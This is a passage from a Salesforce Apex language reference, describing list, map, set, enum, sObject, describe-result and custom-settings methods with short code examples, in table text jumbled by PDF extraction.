Account a = new Account(name='Acme', billingcity='New York'); Account b = new Account(); Account[] l1 = new Account[]{a,b}; Account[] l2 = l1.deepClone(); l1[0].billingcity = 'San Francisco'; System.assertEquals( l1[0].billingcity, 'San Francisco'); System.assertEquals( l2[0].billingcity, 'New York');

Note: deepClone only works with lists of sObjects, not with lists of primitives. The optional opt_preserve_id argument determines whether the ID of the original objects are preserved or cleared in the duplicates. To make a shallow copy of a list without duplicating the sObject records it contains, use the clone() method.
get

Integer i

Array_elem

Returns the list element stored at index i. For example,

List<Integer> myList = new List<Integer>(); myList.add(47); Integer myNumber = myList.get(0); system.assertEquals(myNumber, 47);

To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's index position in square brackets. For example:
List<String> colors = new String[3]; colors[0] = 'Red'; colors[1] = 'Blue'; colors[2] = 'Green';

229

Reference

Apex Collection Methods

Name
getSObjectType

Arguments

Return Type

Description

Schema.SObjectType Returns the token of the sObject type that makes up a list of sObjects. Use this with describe information to determine if a list contains sObjects of a particular type. For example:
public class listTest { { // Create a generic sObject variable s SObject s = Database.query ('SELECT Id FROM Account LIMIT 1'); // Verify if that sObject variable is // an Account token System.assertEquals(s.getSObjectType(), Account.sObjectType); // Create a list of generic sObjects List<sObject> l = new Account[]{}; // Verify if the list of sObjects // contains Account tokens System.assertEquals(l.getSObjectType(), Account.sObjectType); } }

Note that this method can only be used with lists that are composed of sObjects. For more information, see Understanding Apex Describe Information on page 135.
isEmpty iterator

Boolean Iterator

Returns true if the list has zero elements Returns an instance of an iterator. From the iterator, you can use the iterable methods hasNext and next to iterate through the list. For example:
global class CustomIterable implements Iterator<Account>{ List<Account> accs {get; set;} Integer i {get; set;} public CustomIterable(){ accs = [SELECT id, name, numberofEmployees FROM Account WHERE name = 'false']; i = 0; } global boolean hasNext(){ if(i >= accs.size()) return false; else return true; } global Account next(){ if(i == 8){ i++; return null;} i=i+1; return accs[i-1]; } }

230

Reference

Apex Collection Methods

Name

Arguments

Return Type

Description Note: You do not have to implement the iterable interface to use the iterable methods with a list.

remove

Integer i

Array_elem

Removes the element that was stored at the ith index of a list, returning the element that was removed. For example:
List<String> colors = new String[3]; colors[0] = 'Red'; colors[1] = 'Blue'; colors[2] = 'Green'; String S1 = colors.remove(2); system.assertEquals(S1, 'Green');

set

Integer i Any typee

Void

Assigns e to the position at list index i. For example:

List<Integer> myList = new Integer[6]; myList.set(0, 47); myList.set(1, 52); system.assertEquals(myList.get(1), 52);

To set an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's index position in square brackets. For example:
List<String> colors = new String[3]; colors[0] = 'Red'; colors[1] = 'Blue'; colors[2] = 'Green';

size

Integer

Returns the number of elements in the list. For example:

List<Integer> myList = new List<Integer>(); Integer size = myList.size(); system.assertEquals(size, 0); List<Integer> myList2 = new Integer[6]; Integer size2 = myList2.size(); system.assertEquals(size2, 6);

sort

Void

Sorts the items in the list in ascending order. You can only use this method with lists composed of primitive data types. In the following example, the list has three elements. When the list is sorted, the first element is null because it has no value assigned while the second element has the value of 5:
List<Integer> L1 = new Integer[3]; // Assign values to the first // two elements L1[0] = 10; L1[1] = 5; L1.sort();

231

Reference

Apex Collection Methods

Name

Arguments

Return Type

Description
// First element is null, second is 5 system.assertEquals(L1.get(1), 5);

For more information on lists, see Lists on page 33. Map Methods The map methods are all instance methods, that is, they operate on a particular instance of a map. The following are the instance methods for maps. Note: In the table below:
Key_type represents the primitive type of a map key. Value_type represents the primitive or sObject type of a map

value. Name
clear clone

Arguments

Return Type Void

Description Removes all of the key-value mappings from the map

Map (of same type) Makes a duplicate copy of the map. Note that if this is a map with sObject record values, the duplicate map will only be a shallow copy of the map. That is, the duplicate will have references to each sObject record, but the records themselves are not duplicated. For example:
Account a = new Account(name='Acme', billingcity='New York'); Map<Integer, Account> map1 = new Map<Integer, Account> {}; map1.put(1, a); Map<Integer, Account> map2 = map1.clone(); map1.get(1).billingcity = 'San Francisco'; System.assertEquals(map1.get(1).billingcity, 'San Francisco'); System.assertEquals(map2.get(1).billingcity, 'San Francisco');

To also copy the sObject records, you must use the deepClone method.
containsKey

Key type key

Boolean

Returns true if the map contains a mapping for the specified key. For example:
Map<string, string> colorCodes = new Map<String, String>();

232

Reference

Apex Collection Methods

Name

Arguments

Return Type

Description
colorCodes.put('Red', 'FF0000'); colorCodes.put('Blue', '0000A0'); Boolean contains = colorCodes.containsKey('Blue'); System.assertEquals(contains, True);

deepClone

Map (of the same type)

Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values. For example:
Account a = new Account(name='Acme', billingcity='New York'); Map<Integer, Account> map1 = new Map<Integer, Account> {}; map1.put(1, a); Map<Integer, Account> map2 = map1.deepClone(); map1.get(1).billingcity = 'San Francisco'; System.assertEquals(map1.get(1). billingcity, 'San Francisco'); System.assertEquals(map2.get(1). billingcity, 'New York');

To make a shallow copy of a map without duplicating the sObject records it contains, use the clone() method.
get

Key type key

Value_type

Returns the value to which the specified key is mapped, or null if the map contains no value for this key. For example:
Map<String, String> colorCodes = new Map<String, String>(); colorCodes.put('Red', 'FF0000'); colorCodes.put('Blue', '0000A0'); String code = colorCodes.get('Blue'); System.assertEquals(code, '0000A0'); // The following is not a color // in the map String code2 = colorCodes.get('Magenta'); System.assertEquals(code2, null);

getSObjectType

Schema.SObjectType Returns the token of the sObject type that makes up the map values. Use this with describe information, to determine if a map contains sObjects of a particular type. For example:
public class mapTest { { // Create a generic sObject variable s SObject s = Database.query ('SELECT Id FROM Account LIMIT 1'); // Verify if that sObject variable // is an Account token System.assertEquals(s.getSObjectType(), Account.sObjectType);

233

Reference

Apex Collection Methods

Name

Arguments

Return Type

Description
// Create a map of generic sObjects Map<Integer, Account> M = new Map<Integer, Account>(); // Verify if the list of sObjects // contains Account tokens System.assertEquals(M.getSObjectType(), Account.sObjectType); } }

Note that this method can only be used with maps that have sObject values. For more information, see Understanding Apex Describe Information on page 135.
isEmpty

Boolean

Returns true if the map has zero key-value pairs. For example:
Map<String, String> colorCodes = new Map<String, String>(); Boolean empty = colorCodes.isEmpty(); system.assertEquals(empty, true);

keySet

Set of Key_type

Returns a set that contains all of the keys in the map. For example:
Map<String, String> colorCodes = new Map<String, String>(); colorCodes.put('Red', 'FF0000'); colorCodes.put('Blue', '0000A0'); Set <String> colorSet = new Set<String>(); colorSet = colorCodes.keySet();

put

Key key, Value value

Value_type

Associates the specified value with the specified key in the map. If the map previously contained a mapping for this key, the old value is returned by the method and then replaced. For example:
Map<String, String> colorCodes = new Map<String, String>(); colorCodes.put('Red', 'FF0000'); colorCodes.put('Blue', '0000A0');

putAll

Map m

Void

Copies all of the mappings from the specified map m to the original map. The new mappings from m replace any mappings that the original map had. If the map is of IDs or Strings to sObjects, adds the list of sObject records l to the map in the same way as the Map constructor with this input.

putAll

sObject[] l

234

Reference

Apex Collection Methods

Name
remove

Arguments Key key

Return Type
Value_type

Description Removes the mapping for this key from the map if it is present. The value is returned by the method and then removed. For example:
Map<String, String> colorCodes = new Map<String, String>(); colorCodes.put('Red', 'FF0000'); colorCodes.put('Blue', '0000A0'); String myColor = colorCodes.remove('Blue'); String code2 = colorCodes.get('Blue'); System.assertEquals(code2, null);

size

Integer

Returns the number of key-value pairs in the map. For example:

Map<String, String> colorCodes = new Map<String, String>(); colorCodes.put('Red', 'FF0000'); colorCodes.put('Blue', '0000A0'); Integer mSize = colorCodes.size(); system.assertEquals(mSize, 2);

values

list of Value_type Returns a list that contains all of the values in the map in arbitrary order. For example:
Map<String, String> colorCodes = new Map<String, String>(); colorCodes.put('Red', 'FF0000'); colorCodes.put('Blue', '0000A0'); List<String> colors = new List<String>(); colors = colorCodes.values();

For more information on maps, see Maps on page 36. Set Methods The set methods work on a set, that is, an unordered collection of primitives that was initialized using the set keyword. The set methods are all instance methods, that is, they all operate on a particular instance of a set. The following are the instance methods for sets. Note: In the table below, Set_elem represents a single element in the set. Sets can only contain primitive data types.

Name
add

Arguments Set element e

Return Type Boolean

Description Adds an element to the set if it is not already present. This method returns true if the original set changed as a result of the call. For example:
set<string> myString = new Set<String>{'a', 'b', 'c'}; Boolean result;

235

Reference

Apex Collection Methods

Name

Arguments

Return Type

Description
result = myString.add('d'); system.assertEquals(result, true);

addAll

List l

Boolean

Adds all of the elements in the specified list to the set if they are not already present. This method results in the union of the list and the set. The list must be of the same type as the set that calls the method. This method returns true if the original set changed as a result of the call.

addAll

Set s

Boolean

Adds all of the elements in the specified set to the set that calls the method if they are not already present. This method results in the union of the two sets. The specified set must be of the same type as the original set that calls the method. This method returns true if the original set changed as a result of the call. For example:
set<string> myString = new Set<String>{'a', 'b'}; set<string> sString = new Set<String>{'c'}; Boolean result1; result1 = myString.addAll(sString); system.assertEquals(result1, true);

clear clone contains

Void Set (of same type) Set element e Boolean

Removes all of the elements from the set Makes a duplicate copy of the set Returns true if the set contains the specified element. For example:
set<string> myString = new Set<String>{'a', 'b'}; Boolean result; result = myString.contains('z'); system.assertEquals(result, false);

containsAll

List l

Boolean

Returns true if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the method. Returns true if the set contains all of the elements in the specified set. The specified set must be of the same type as the original set that calls the method. For example:
set<string> myString = new Set<String>{'a', 'b'}; set<string> sString = new Set<String>{'c'}; set<string> rString = new Set<String>{'a', 'b', 'c'};

containsAll

Set s

Boolean

236

Reference

Apex Collection Methods

Name

Arguments

Return Type

Description
Boolean result1, result2; result1 = myString.addAll(sString); system.assertEquals(result1, true); result2 = myString.containsAll(rString); system.assertEquals(result2, true);

isEmpty

Boolean

Returns true if the set has zero elements. For example:

Set<integer> mySet = new Set<integer>(); Boolean result; result = mySet.isEmpty(); system.assertEquals(result, true);

remove

Set Elemente

Boolean

Removes the specified element from the set if it is present. This method returns true if the original set changed as a result of the call.

removeAll

List l

Boolean

Removes the elements in the specified list from the set if they are present. This method results in the relative compliment of the two sets. The list must be of the same type as the set that calls the method. This method returns true if the original set changed as a result of the call. For example:
Set<integer> mySet = new Set<integer>{1, 2, 3}; List<integer> myList = new List<integer>{1, 3}; Boolean result = mySet.removeAll(myList); System.assertEquals(result, true); Integer result2 = mySet.size(); System.assertEquals(result2, 1);

removeAll

Set s

Boolean

Removes the elements in the specified set from the original set if they are present. This method results in the relative compliment of the two sets. The specified set must be of the same type as the original set that calls the method. This method returns true if the original set changed as a result of the call.

retainAll

List l

Boolean

Retains only the elements in this set that are contained in the specified list. This method results in the intersection of the list and the set. The list must be of the same type as the set that calls the method.

237

Reference

Enum Methods

Name

Arguments

Return Type

Description This method returns true if the original set changed as a result of the call. For example:
Set<integer> mySet = new Set<integer>{1, 2, 3}; List<integer> myList = new List<integer>{1, 3}; Boolean result = mySet.retainAll(myList); System.assertEquals(result, true);

retainAll

Set s

Boolean

Retains only the elements in the original set that are contained in the specified set. This method results in the intersection of the two sets. The specified set must be of the same type as the original set that calls the method. This method returns true if the original set changed as a result of the call.

size

Integer

Returns the number of elements in the set (its cardinality). For example:
Set<integer> mySet = new Set<integer>{1, 2, 3}; List<integer> myList = new List<integer>{1, 3}; Boolean result = mySet.retainAll(myList); System.assertEquals(result, true); Integer result2 = mySet.size(); System.assertEquals(result2, 2);

For more information on sets, see Sets on page 35.

Enum Methods
Although Enum values cannot have user-defined methods added to them, all Enum values, including system Enum values, have the following methods defined in Apex: Name
name ordinal values

Arguments

Return Type String Integer String

Description Returns the name of the Enum item as a String. Returns the position of the item in the list of Enum values, starting with zero. Returns the value of the Enum item as a String.

238

Reference

sObject Methods

For example:
Integer I = StatusCode.DELETE_FAILED.ordinal(); String S = MyEnum.X.name();

For more information about Enum, see Enums on page 37.

sObject Methods
Apex sObject Methods
The term sObject refers to any object that can be stored in the Salesforce.com platform database. The following Apex sObject methods include methods that can be used with every sObject, as well as more general classes used to describe sObject structures: Schema sObject sObject Describe Results Field Describe Results Custom Settings

Schema Methods The following table lists the system methods for Schema. Name
getGlobalDescribe

Arguments

Return Type

Description

Map<String, Returns a map of all sObject names (keys) to sObject Schema.SObjectType> tokens (values) for the standard and custom objects defined in your organization. For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

For more information, see Accessing All sObjects on page 138.

sObject Methods sObject methods are all instance methods, that is, they are called by and operate on a particular instance of an sObject, such as an account or contact. The following are the instance methods for sObjects. Name
addError

Arguments String errorMsg

Return Type Void

Description Marks a record with a custom error message and prevents any DML operation from occurring. When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before delete triggers, the error message is displayed in the application interface.

239

Reference

Apex sObject Methods

Name

Arguments

Return Type

Description See Triggers on page 65 and Trigger Exceptions on page 76. When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide.

field.addError

String errorMsg

Void

Places the specified error message on the field that calls this method in the application interface and prevents any DML operation from occurring. For example:
Trigger.new.myField__C.addError('bad');

Note: When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before delete triggers, the error appears in the application interface. When used in Visualforce controllers, if there is an inputField component bound to field, the message is attached to the component. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide. This method is highly specialized because the field identifier is not actually the invoking objectthe sObject record is the invoker. The field is simply used to identify the field that should be used to display the error. This method will likely change in future versions of Apex.

See Triggers on page 65 and Trigger Exceptions on page 76.

clear clone

Void Boolean Boolean

opt_IsDeepClone

Clears all field values Creates a copy of the sObject record. The optional opt_preserve_id argument determines whether the ID of the original object is preserved or cleared in the duplicate. The optional opt_IsDeepClone argument determines whether the method creates a full copy of the sObject, or just a reference: If set to true, the method creates a full copy of the sObject. All fields on the sObject are duplicated in memory, including relationship fields. Consequently, if you make changes to a field on the cloned sObject, the original sObject is not affected. If set to false, the method creates a reference to the original sObject. Consequently, if you make

sObject (of same

opt_preserve_id, type)

240

Reference

Apex sObject Methods

Name

Arguments

Return Type

Description changes to a field on the cloned sObject, the original sObject is also affected.

get

String fieldName

Object

Returns the value for the field specified by fieldName, such as AccountNumber. For more information, see Dynamic SOQL on page 139.

get

Schema.sObjectField Object
Field

Returns the value for the field specified by the field token Schema.sObjectField (for example, Schema.Account.AccountNumber). For more information, see Dynamic SOQL on page 139.

getOptions

Database.DMLOptions Returns the database.DMLOptions object for the sObject. For more information, see Database DMLOptions Methods on page 264.

getSObject

String fieldName

sObject

Returns the value for the field specified by fieldName. This method is primarily used with dynamic DML to access values for external IDs. For more information, see Dynamic DML on page 140.

getSObject

Schema.SObjectField sObject
fieldName

Returns the value for the field specified by the field token Schema.fieldName (for example, Schema.Account.MyExternalId). This method is primarily used with dynamic DML to access values for external IDs. For more information, see Dynamic DML on page 140.

getSObjects

String fieldName

sObject[]

Returns the values for the field specified by fieldName. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships. For more information, see Dynamic DML on page 140.

getSObjects

Schema.SObjectType sObject[]
fieldName

Returns the value for the field specified by the field token Schema.fieldName (for example, Schema.Account.Contact).This method is primarily used with dynamic DML to access values for associated objects, such as child relationships. For more information, see Dynamic DML on page 140.

getSObjectType

Schema.SObjectType Returns the token for this sObject. This method is primarily used with describe information. For more information, see Understanding Apex Describe Information on page 135.

241

Reference

Apex sObject Methods

Name
put

Arguments String fieldName, Object value

Return Type Object

Description Sets the value for the field specified by fieldName and returns the previous value for the field. For more information, see Dynamic SOQL on page 139.

put

Schema.SObjectField Object fieldName, Object

value

Sets the value for the field specified by the field token Schema.sObjectField (for example, Schema.Account.AccountNumber) and returns the previous value for the field. For more information, see Dynamic SOQL on page 139.

putSObject

String fieldName, sObject value

sObject

Sets the value for the field specified by fieldName. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field. For more information, see Dynamic SOQL on page 139.

putSObject

Schema.sObjectType sObject fieldName, sObject

value

Sets the value for the field specified by the token Schema.sObjectType. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field. For more information, see Dynamic SOQL on page 139.

setOptions

database.DMLOptions Void
DMLOptions

Sets the DMLOptions object for the sObject. For more information, see Database DMLOptions Methods on page 264.

For more information on sObjects, see sObject Types on page 30. sObject Describe Result Methods The following table describes the methods available for the sObject describe result, the DescribeSObjectResult object. None of the methods take an argument. Name
fields

Data Type Special

Description Returns a special data type that should not be used by itself. Instead, fields should always be followed by either a field member variable name or the getMap method. For example,
Schema.DescribeFieldResult F = Schema.SObjectType.Account.fields.Name;

For more information, see Understanding Apex Describe Information on page 135.
getChildRelationships

List<Schema.ChildRelationship> Returns a list of child relationships, which are the names of the sObjects that have a foreign key to the sObject being described. For example, the Account

242

Reference

Apex sObject Methods

Name

Data Type

Description object includes Contacts and Opportunities as child relationships.

getKeyPrefix

String

Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006). The DescribeSobjectResult object returns a value for objects that have a stable prefix. For object types that do not have a stable or predictable prefix, this field is blank. Client applications that rely on these codes can use this way of determining object type to ensure forward compatibility.

getLabel

String

Returns the object's label, which may or may not match the object name. For example, an organization in the medical industry might change the label for Account to Patient. This label is then used in the Salesforce.com user interface. See the Salesforce.com online help for more information. Returns the object's plural label, which may or may not match the object name. For example, an organization in the medical industry might change the plural label for Account to Patients. This label is then used in the Salesforce.com user interface. See the Salesforce.com online help for more information. Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the namespace portion of the name is omitted. Returns the name of the object Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it in this list. Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record type to see it in this map. Returns a map that matches record names to their associated record type. The current user is not required to have access to a record type to see it in this map. Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject. For more information, see Schema.SObjectType on page 251.

getLabelPlural

String

getLocalName

String

getName getRecordTypeInfos

String List<Schema.RecordTypeInfo>

getRecordTypeInfosByID

Map<ID, Schema.RecordTypeInfo>

getRecordTypeInfosByName Map<String,

Schema.RecordTypeInfo>

getSobjectType

Schema.SObjectType

243

Reference

Apex sObject Methods

Name
isAccessible isCreateable isCustom isCustomSetting isDeletable isDeprecatedAndHidden isMergeable

Data Type Boolean Boolean Boolean Boolean Boolean Boolean Boolean

Description Returns true if the current user can see this field, false otherwise Returns true if the object can be created by the current user, false otherwise Returns true if the object is a custom object, false if it is a standard object Returns true if the object is a custom setting, false otherwise Returns true if the object can be deleted by the current user, false otherwise Reserved for future use. Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned for leads, contacts, and accounts. Returns true if the object can be queried by the current user, false otherwise Returns true if the object can be searched by the current user, false otherwise Returns true if the object cannot be undeleted by the current user, false otherwise Returns true if the object can be updated by the current user, false otherwise

isQueryable isSearchable isUndeletable isUpdateable

Boolean Boolean Boolean Boolean

ChildRelationship Methods If an sObject is a parent object, you can access the child relationship as well as the child sObject using the ChildRelationship object methods. A ChildRelationship object is returned from the sObject describe result using the getChildRelationship method. For example:
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe(); List<Schema.ChildRelationship> C = R.getChildRelationships();

You can only use 10 getChildRelationships method calls per Apex script. For more information about governor limits, see Understanding Execution Governors and Limits on page 166. The following table describes the methods available as part of the ChildRelationship object. None of the methods take an argument. Name
getChildSObject

Data Type Schema.SObjectType

Description Returns the token of the child sObject on which there is a foreign key back to the parent sObject.

244

Reference

Apex sObject Methods

Name
getField getRelationshipName isCascadeDelete

Data Type Schema.SObjectField String Boolean Boolean

Description Returns the token of the field that has a foreign key back to the parent sObject. Returns the name of the relationship. Returns true if the child object is deleted when the parent object is deleted, false otherwise. Reserved for future use.

isDeprecatedAndHidden

RecordTypeInfo Methods If an sObject has a record type associated with it, you can access information about the record type using the RecordTypeInfo object methods. A RecordTypeInfo object is returned from the sObject describe result using the getRecordTypeInfos method. For example:
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe(); List<Schema.RecordTypeInfo> RT = R.getRecordTypeInfos();

In addition to the getRecordTypeInfos method, you can use the getRecordTypeInfosById and the getRecordTypeInfosByName methods. These methods return maps that associate RecordTypeInfo with record IDs and record names, respectively. You can only return 10 RecordTypeInfo objects per Apex script. For more information about governor limits, see Understanding Execution Governors and Limits on page 166. The following example assumes at least one record type has been created for the Account object:
RecordType rt = [select id,name from RecordType where SobjectType='Account' limit 1]; Schema.DescribeSObjectResult d = Schema.SObjectType.Account; Map<Id,Schema.RecordTypeInfo> rtMapById = d.getRecordTypeInfosById(); Schema.RecordTypeInfo rtById = rtMapById.get(rt.id); Map<String,Schema.RecordTypeInfo> rtMapByName = d.getRecordTypeInfosByName(); Schema.RecordTypeInfo rtByName = rtMapByName.get(rt.name); System.assertEquals(rtById,rtByName);

The following table describes the methods available as part of the RecordTypeInfo object. None of the methods take an argument. Name
getName getRecordTypeId isAvailable

Data Type String ID Boolean

Description Returns the name of this record type Returns the ID of this record type Returns true if this record type is available to the current user, false otherwise. Use this method to display a list of available record types to the user when he or she is creating a new record. Returns true if this is the default record type mapping, false otherwise.

isDefaultRecordTypeMapping Boolean

245

Reference

Apex sObject Methods

Describe Field Result Methods The following table describes the methods available as part of the field describe result. The following is an example of how to instantiate a field describe result object:
Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe();

None of the methods take an argument. Name

getByteLength getCalculatedFormula getController getDefaultValue getDefaultValueFormula getDigits getInlineHelpText

Data Type Integer String Schema.sObjectField Object String Integer String

Description For variable-length fields (including binary fields), returns the maximum size of the field, in bytes Returns the formula specified for this field Returns the token of the controlling field Returns the default value for this field Returns the default value specified for this field if a formula is not used Returns the maximum number of digits specified for the field. This method is only valid with Integer fields Returns the content of the field-level help. For more information, see Defining Field-Level Help in the Salesforce.com online help. Returns the text label that is displayed next to the field in the Salesforce.com user interface. This label can be localized. For string fields, returns the maximum size of the field in Unicode characters (not bytes) Returns the name of the field, similar to the getName method. However, if the field is part of the current namespace, the namespace portion of the name is omitted. Returns the field name used in Apex scripts Returns a list of PicklistEntry objects. A runtime error is returned if the field is not a picklist. For fields of type Double, returns the maximum number of digits that can be stored, including all numbers to the left and to the right of the decimal point (but excluding the decimal point character) Returns a list of Schema.sObjectType objects for the parent objects of this field. If the isNamePointing method returns true, there is more than one entry in the list, otherwise there is only one. Returns the name of the relationship. For more information about relationships and relationship

getLabel

String

getLength getLocalName

Integer String

getName getPicklistValues getPrecision

String List <Schema.PicklistEntry> Integer

getReferenceTo

List <Schema.sObjectType>

getRelationshipName

String

246

Reference

Apex sObject Methods

Name

Data Type

Description names, see Understanding Relationship Names in the Force.com Web Services API Developer's Guide.

getRelationshipOrder

Integer

Returns 1 if the field is a child, 0 otherwise. For more information about relationships and relationship names, see Understanding Relationship Names in the Force.com Web Services API Developer's Guide. For fields of type Double, returns the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point are truncated. This method returns a fault response if the number has too many digits to the left of the decimal point. Returns one of the SoapType enum values, depending on the type of field. For more information, see Schema.SOAPType Enum Values on page 251. Returns the token for this field Returns one of the DisplayType enum values, depending on the type of field. . For more information, see Schema.DisplayType Enum Values on page 249. Returns true if the current user can see this field, false otherwise Returns true if the field is an Auto Number field, false otherwise. Analogous to a SQL IDENTITY type, Auto Number fields are read-only, non-createable text fields with a maximum length of 30 characters. Auto Number fields are used to provide a unique ID that is independent of the internal object ID (such as a purchase order number or invoice number). Auto Number fields are configured entirely in the Salesforce.com user interface.

getScale

Integer

getSOAPType

Schema.SOAPType

getSObjectField getType

Schema.sObjectField Schema.DisplayType

isAccessible isAutoNumber

Boolean Boolean

isCalculated

Boolean

Returns true if the field is a custom formula field, false otherwise. Note that custom formula fields are always read-only. Returns true if the field is case sensitive, false otherwise Returns true if the field can be created by the current user, false otherwise Returns true if the field is a custom field, false if it is a standard object Returns true if the field receives a default value when created, false otherwise. If true, Salesforce.com implicitly assigns a value for this field when the object is created, even if a value for this

isCaseSensitive isCreateable isCustom isDefaultedOnCreate

Boolean Boolean Boolean Boolean

247

Reference

Apex sObject Methods

Name

Data Type

Description field is not passed in on the create call. For example, in the Opportunity object, the Probability field has this attribute because its value is derived from the Stage field. Similarly, the Owner has this attribute on most objects because its value is derived from the current user (if the Owner field is not specified).

isDependantPicklist isDeprecatedAndHidden isExternalID isFilterable isHtmlFormatted

Boolean Boolean Boolean Boolean Boolean

Returns true if the picklist is a dependent picklist, false otherwise Reserved for future use. Returns true if the field is used as an external ID, false otherwise Returns true if the field can be used as part of the filter criteria of a WHERE statement, false otherwise Returns true if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example of a field that returns true for this method is a hyperlink custom formula field. Another example is a custom formula field that has an IMAGE text function. Returns true if the field can be used to specify a record in an upsert method, false otherwise Returns true if the field is a name field, false otherwise. This method is used to identify the name field for standard objects (such as AccountName for an Account object) and custom objects. Objects can only have one name field, except where the FirstName and LastName fields are used instead (such as on the Contact object). If a compound name is present, for example, the Name field on a person account, isNameField is set to true for that record.

isIdLookup isNameField

Boolean Boolean

isNamePointing

Boolean

Returns true if the field can have multiple types of objects as parents. For example, a task can have both the Contact/Lead ID (WhoId) field and the Opportunity/Account ID (WhatId) field return true for this method. because either of those objects can be the parent of a particular task record. This method returns false otherwise. Returns true if the field is nillable, false otherwise. A nillable field can have empty content. A non-nillable field must have a value for the object to be created or saved. Returns true if the field is a restricted picklist, false otherwise

isNillable

Boolean

isRestrictedPicklist

Boolean

248

Reference

Apex sObject Methods

Name
isSortable isUnique isUpdateable

Data Type Boolean Boolean Boolean

Description Returns true if a query can sort on the field, false otherwise Returns true if the value for the field must be unique, false otherwise Returns true if the field can be edited by the current user, false otherwise Returns true if writing to the detail object requires read sharing instead of read/write sharing of the parent.

isWriteRequiresMasterRead Boolean

Schema.DisplayType Enum Values A Schema.DisplayType enum value is returned by the field describe result's getType method. For more information, see Field Types in the Force.com Web Services API Developer's Guide. For more information about the methods shared by all enums, see Enum Methods on page 238. Type Field Value
anytype

What the Field Object Contains Any value of the following types: String, Picklist, Boolean, Integer, Double, Percent, ID, Date, DateTime, URL, or Email. Base64-encoded arbitrary binary data (of type base64Binary) Boolean (true or false) values Comboboxes, which provide a set of enumerated values and allow the user to specify a value not in the list Currency values Date values DateTime values Double values Email addresses Encrypted string Primary key field for an object Integer values Multi-select picklists, which provide a set of enumerated values from which multiple values can be selected Percent values Phone numbers. Values can include alphabetic characters. Client applications are responsible for phone number formatting. Single-select picklists, which provide a set of enumerated values from which only one value can be selected Cross-references to a different object, analogous to a foreign key field

base64 Boolean Combobox Currency Date DateTime Double Email EncryptedString ID Integer MultiPicklist Percent Phone Picklist Reference

249

Reference

Apex sObject Methods

Type Field Value

String TextArea Time URL

What the Field Object Contains String values String values that are displayed as multiline text fields Time values URL values that are displayed as hyperlinks

Schema.PicklistEntry Methods Picklist fields contain a list of one or more items from which a user chooses a single item. They display as drop-down lists in the Salesforce.com user interface. One of the items can be configured as the default item. A Schema.PicklistEntry object is returned from the field describe result using the getPicklistValues method. For example:
Schema.DescribeFieldResult F = Account.Industry.getDescribe(); List<Schema.PicklistEntry> P = F.getPicklistValues();

You can only use 10 getPicklistValue method calls per Apex script. For more information about governor limits, see Understanding Execution Governors and Limits on page 166. The following table describes the methods available as part of the PicklistEntry object. None of the methods take an argument. Name
getLabel getValue isActive

Data Type String String Boolean Boolean

Description Returns the display name of this item in the picklist Returns the value of this item in the picklist Returns true if this item must be displayed in the drop-down list for the picklist field in the user interface, false otherwise Returns true if this item is the default value for the picklist, false otherwise. Only one item in a picklist can be designated as the default.

isDefaultValue

Schema.sObjectField A Schema.sObjectField object is returned from the field describe result using the getControler and getSObjectField methods. For example:
Schema.DescribeFieldResult F = Account.Industry.getDescribe(); Schema.sObjectField T = F.getSObjectField();

The following table describes the method available as part of the sObjectField object. This method does not take an argument. Name
getDescribe

Data Type

Description

Schema.DescribeFieldResult Returns the describe field result for this field.

250

Reference

Apex sObject Methods

Schema.sObjectType A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from the sObject describe result using the getSObjectType method. For example:
Schema.DescribeFieldResult F = Account.Industry.getDescribe(); List<Schema.sObjectType> P = F.getReferenceTo();

The following table describes the methods available as part of the sObjectType object. Name
getDescribe newSObject newSObject

Argument

Data Type

Description

Schema.DescribeSObjectResult Returns the describe sObject result for this field. sObject Id Id sObject Constructs a new sObject of this type. Constructs a new sObject of this type, with the specified Id.

Schema.SOAPType Enum Values A schema.SOAPType enum value is returned by the field describe result getSoapType method. For more information, see SOAPTypes in the Force.com Web Services API Developer's Guide. For more information about the methods shared by all enums, see Enum Methods on page 238. Type Field Value
anytype

What the Field Object Contains Any value of the following types: String, Boolean, Integer, Double, ID, Date or DateTime. Base64-encoded arbitrary binary data (of type base64Binary) Boolean (true or false) values Date values DateTime values Double values Primary key field for an object Integer values String values Time values

base64 Boolean Date DateTime Double ID Integer String Time

Custom Settings Methods Custom settings methods are all instance methods, that is, they are called by and operate on a particular instance of a custom settings. There are two types of custom settings: hierarchy and list. The methods are divided into those that work with list custom settings, and those that work with hierarchy custom settings. The following are the instance methods for list custom settings.

251

Reference

Apex sObject Methods

Table 1: List Custom Settings Methods Name

getAll

Arguments

Return Type Map<String

Data_set_name,

Description Returns a map of the data sets defined for the custom setting. Returns the custom setting data set for the specified dataset_name. This method returns the exact same object as getValues(dataset_name). Returns the custom setting data set for the specified dataset_name. This method returns the exact same object as getInstance(dataset_name).

CustomSetting__c>
getInstance

String
dataset_name

CustomSetting__c

getValues

String
dataset_name

CustomSetting__c

The following are the instance methods for hierarchy custom settings: Table 2: Hierarchy Custom Settings Methods Name
getInstance

Arguments

Return Type CustomSetting__c

